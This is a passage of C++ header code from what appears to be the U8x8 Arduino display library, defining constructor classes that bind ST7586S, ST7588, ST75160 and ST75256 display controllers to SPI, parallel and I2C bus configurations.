U8X8_ST7586S_YMC240160_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_6800 : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7586S_YMC240160_8080 : public U8X8 {\n  public: U8X8_ST7586S_YMC240160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7586s_ymc240160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST7588_JLX12864_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7588_JLX12864_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST7588_JLX12864_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST7588_JLX12864_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST7588_JLX12864_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_6800 : public U8X8 {\n  public: U8X8_ST7588_JLX12864_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_8080 : public U8X8 {\n  public: U8X8_ST7588_JLX12864_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_SW_I2C : public U8X8 {\n  public: U8X8_ST7588_JLX12864_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST7588_JLX12864_HW_I2C : public U8X8 {\n  public: U8X8_ST7588_JLX12864_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST7588_JLX12864_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST7588_JLX12864_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75160_JM16096_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75160_JM16096_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75160_JM16096_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75160_JM16096_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75160_JM16096_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75160_JM16096_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_6800 : public U8X8 {\n  public: U8X8_ST75160_JM16096_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_8080 : public U8X8 {\n  public: U8X8_ST75160_JM16096_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75160_JM16096_SW_I2C : public U8X8 {\n  public: U8X8_ST75160_JM16096_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75160_JM16096_HW_I2C : public U8X8 {\n  public: U8X8_ST75160_JM16096_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75160_JM16096_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75160_JM16096_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX256128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX256128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_WO256X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_WO256X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_WO256X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_WO256X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_WO256X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_6800 : public U8X8 {\n  public: U8X8_ST75256_WO256X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_8080 : public U8X8 {\n  public: U8X8_ST75256_WO256X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_JLX256128_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_JLX256128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_JLX256128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_SW_I2C : public U8X8 {\n  public: U8X8_ST75256_WO256X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_ST75256_WO256X128_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_WO256X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_ST75256_WO256X128_2ND_HW_I2C : public U8X8 {\n  public: U8X8_ST75256_WO256X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX256160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160_8080 : public U8X8 {\n  public: U8X8_ST75256_JLX256160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_4W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_3W_SW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_3W_HW_SPI : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_st75256_jlx256160m, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_ST75256_JLX256160M_6800 : public U8X8 {\n  public: U8X8_ST75256_JLX256160M_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    